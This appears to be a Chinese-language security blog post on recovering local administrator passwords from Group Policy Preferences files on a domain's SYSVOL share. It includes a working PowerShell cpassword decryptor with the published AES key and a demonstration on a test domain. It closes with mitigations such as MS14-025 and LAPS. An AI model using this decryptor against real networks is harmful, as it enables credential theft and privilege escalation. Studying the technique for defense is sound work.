5、域滲透——利用SYSVOL還原組策略中儲存的密碼
域滲透——利用SYSVOL還原組策略中儲存的密碼
0x00 前言
在之前的文章《域滲透——Local Administrator Password Solution》對LAPS的利用進行了分析。使用LAPS最大的優點是能夠確保每臺域內主機有不同的密碼,並且定期更換。
那麼,如果域內未配置LAPS,如何批量設定域內主機的本地管理員密碼呢?這其中又存在哪些可被利用的地方呢?
本文將要介紹如何利用SYSVOL還原組策略中儲存的密碼,分析技術細節,最後給出防禦建議
0x01 簡介
本文將要介紹以下內容:
- 域內共享資料夾\SYSVOL介紹
- 域管理員批量修改域內主機本地管理員密碼的方法
- 組策略中可被利用的地方
- 實際測試
- 防禦建議
0x02 域內共享資料夾\SYSVOL介紹
在域中,存在一個預設的共享路徑:
\\<DOMAIN>\SYSVOL\<DOMAIN>\
所有域內主機都能訪問,裡面儲存組策略相關資料,包含登入指令碼配置檔案等
例如,測試主機所在域為test.local,可訪問共享資料夾\\test.local\SYSVOL\test.local
,如下圖
0x03 域管理員批量修改域內主機本地管理員密碼的方法
1、測試Server 2003系統
對於server2003,想要批量修改域內主機本地管理員密碼,常常通過配置組策略執行vbs指令碼的方式
給出一個修改密碼的vbs指令碼(實現方式不唯一),程式碼如下:
strComputer = "."
Set objUser = GetObject("WinNT://" & strComputer & "/Administrator, user")
objUser.SetPassword "domain123!"
objUser.SetInfo
這種實現方式,最大的弊端在於修改後的密碼會明文儲存在vbs指令碼中
而該vbs指令碼通常會儲存在共享資料夾\SYSVOL
這就存在一個隱患:
任何域使用者都能讀取該vbs指令碼,也就能夠獲取指令碼中儲存的明文密碼
2、測試Server 2008系統
對於server 2008,新增了新功能,可使用Group Policy Preferences配置組策略批量修改使用者本地管理員密碼,具體方法如下:
開始-管理工具-組策略管理
選擇域test.local,右鍵,選中在這個域中建立GPO並在此處連結,如下圖
設定名稱為test6
test6-設定-右鍵-編輯-使用者配置-首選項-控制皮膚設定-本地使用者和組,如下圖
更新,administrator(內建),設定密碼,如下圖
委派,設定許可權
在詳細一欄,可看到該策略對應的ID為{E6424F10-C44B-4C45-8527-740189CBF60E}
如下圖
至此,組策略配置完成,域內主機重新登入,即可應用此策略
在共享資料夾\SYSVOL中可看到組策略對應ID的資料夾,如下圖
由於我們剛剛修改了使用者配置下的控制皮膚,所以在對應的資料夾下能找到配置檔案Groups.xml,具體路徑如下:
\\test.local\SYSVOL\test.local\Policies\{E6424F10-C44B-4C45-8527-740189CBF60E}\User\Preferences\Groups
Groups.xml內容如下:
<?xml version="1.0" encoding="utf-8" ?>
- <Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
- <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator (內建)" image="2" changed="2017-09-25 22:57:53" uid="{463245FF-08D3-4A28-95E7-42AB416DC508}">
<Properties action="U" newName="" fullName="" description="" cpassword="9XLcz+Caj/kyldECku6lQ1QJX3fe9gnshWkkWlgAN1U" changeLogon="0" noChange="0" neverExpires="0" acctDisabled="0" subAuthority="RID_ADMIN" userName="Administrator (內建)" />
</User>
</Groups>
如下圖
值得注意的是其中的cpassword項,儲存的是加密後的內容"9XLcz+Caj/kyldECku6lQ1QJX3fe9gnshWkkWlgAN1U"
加密方式為AES 256,雖然目前AES 256很難被攻破,但是微軟選擇公開了該AES 256加密的私鑰,地址如下:
https://msdn.microsoft.com/en-us/library/cc422924.aspx
藉助該私鑰,我們就能還原出明文
還原方式可採用Chris Campbell @obscuresec開源的powershell指令碼,地址如下:
該指令碼可在域內主機上執行,能夠自動查詢共享資料夾\SYSVOL中的檔案,還原出所有明文密碼
測試如下圖
當然,僅僅為了解密cpassword="9XLcz+Caj/kyldECku6lQ1QJX3fe9gnshWkkWlgAN1U"
,我們可以對以上powershell指令碼的功能簡化
簡化程式碼如下:
function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword
)
try {
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)
switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
}
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}
catch {Write-Error $Error[0]}
}
Get-DecryptedCpassword "9XLcz+Caj/kyldECku6lQ1QJX3fe9gnshWkkWlgAN1U"
還原出明文密碼為domain123!,如下圖
0x04 組策略中可被利用的地方
組策略中可被利用的地方不只在修改管理員密碼的位置,還包括以下:
Services\Services.xml
ScheduledTasks\ScheduledTasks.xml
- http://msdn.microsoft.com/en-us/library/cc422920(v=prot.13)
- http://msdn.microsoft.com/en-us/library/dd341350(v=prot.13)
- http://msdn.microsoft.com/en-us/library/dd304114(v=prot.13)
Printers\Printers.xml
Drives\Drives.xml
DataSources\DataSources.xml
注:
但是以上位置並不絕對,在配置時需要在組策略中填入使用者名稱密碼,對應的Groups.xml才會包含cpassword屬性,才能用於還原明文
可以拿計劃任務來舉例,對應ScheduledTasks.xml
組策略配置的位置為:使用者配置-首選項-控制皮膚設定-計劃任務
如下圖
新建任務,需要選中執行身份,填入使用者名稱和密碼,如下圖
否則,不包含cpassword屬性,如下圖
現在填入一個測試密碼(密碼為testsuccess!,假的),如下圖
對應ScheduledTasks.xml也會包含cpassword屬性,如下圖
使用powershell對其解密,還原出密碼為testsuccess!
至此得出結論:
域管理員在使用組策略批量管理域內主機時,如果配置組策略的過程中需要填入密碼,那麼該密碼會被儲存到共享資料夾\SYSVOL下,預設所有域內使用者可訪問,雖然被加密,但很容易被解密
這就造成了安全隱患,現實中域管理員往往會在組策略中使用域管理員密碼,組策略配置檔案中的密碼很容易被獲得,導致許可權提升
為此,微軟釋出了補丁KB2962486,下載地址:
https://technet.microsoft.com/library/security/ms14-025
系統打了補丁後,組策略中無法設定使用者名稱密碼,如下圖
當然,共享資料夾\SYSVOL下的xml檔案也就不再包含cpassword屬性
注:
xml檔案還是會和組策略保持同步
0x05 防禦
結合攻擊方法,可供選擇的防禦方法如下:
1、使用LAPS批量管理域內主機本地管理員帳戶
2、域控安裝補丁KB2962486
3、不在組策略中使用域控密碼
4、設定共享資料夾\SYSVOL的訪問許可權
5、使用PsPasswd批量修改域內主機本地管理員密碼
0x06 小結
本文介紹瞭如何利用SYSVOL還原組策略中儲存的密碼,給出了防禦建議。如果域使用者的本地管理員密碼被攻擊者獲得,預設可被用於在域中遠端登入。
相關文章
- 域滲透之利用WMI來橫向滲透
- 談談系統密碼儲存策略密碼
- 內網滲透-初探域滲透內網
- Windows 11 可以透過組策略來禁止使用USB儲存裝置。Windows
- 聊聊密碼儲存中的安全問題密碼
- 域滲透——Hook PasswordChangeNotifyHook
- PostgreSQL使用者密碼如何透過md5加密儲存,是否加了saltSQL密碼加密
- 清除SVN儲存的密碼密碼
- 如何安全的儲存密碼密碼
- 域組策略與本地組策略
- 3、域滲透詳解
- 域滲透前置知識
- sqlserver資料庫還原儲存過程指令碼SQLServer資料庫儲存過程指令碼
- 使用儲存指令碼還原恢復資料庫指令碼資料庫
- 網頁密碼儲存網頁密碼
- 工作組內網滲透內網
- canvas 儲存與還原狀態Canvas
- 2.9.3 安全的外部密碼儲存密碼
- 如何安全的儲存使用者密碼?(中)程式碼篇密碼
- 域滲透——Security Support ProviderIDE
- 域滲透之ldap協議LDA協議
- 7、域滲透——Pass The Hash的實現
- 黑客是如何利用DNS域傳送漏洞進行滲透與攻擊的?黑客DNS
- win10組策略恢復預設的方法_win10如何把組策略還原Win10
- 如何安全的儲存使用者密碼?(中)理論篇密碼
- 在Chrome瀏覽器中儲存的密碼有多安全?Chrome瀏覽器密碼
- [原創]滲透測試工具
- 安全技術 | 域滲透之SPN
- Hdfs儲存策略
- 如何安全地儲存密碼?密碼
- 域滲透 | kerberos認證及過程中產生的攻擊ROS
- 【VMware vSAN】如何刪除虛擬機器儲存策略中的vSAN預設儲存策略。虛擬機
- win10檢視儲存的wifi密碼_如何檢視win10電腦儲存的wifi密碼Win10WiFi密碼
- 分散式儲存中的資料分佈策略分散式
- 6、域滲透中查詢域使用者對域成員機器關係
- C語言 | 深度剖析資料在記憶體中的儲存(原碼,反碼,補碼,大小端儲存)C語言記憶體
- Oracle下不知道密碼的情況下如何還原密碼Oracle密碼
- 域滲透——Local Administrator Password Solution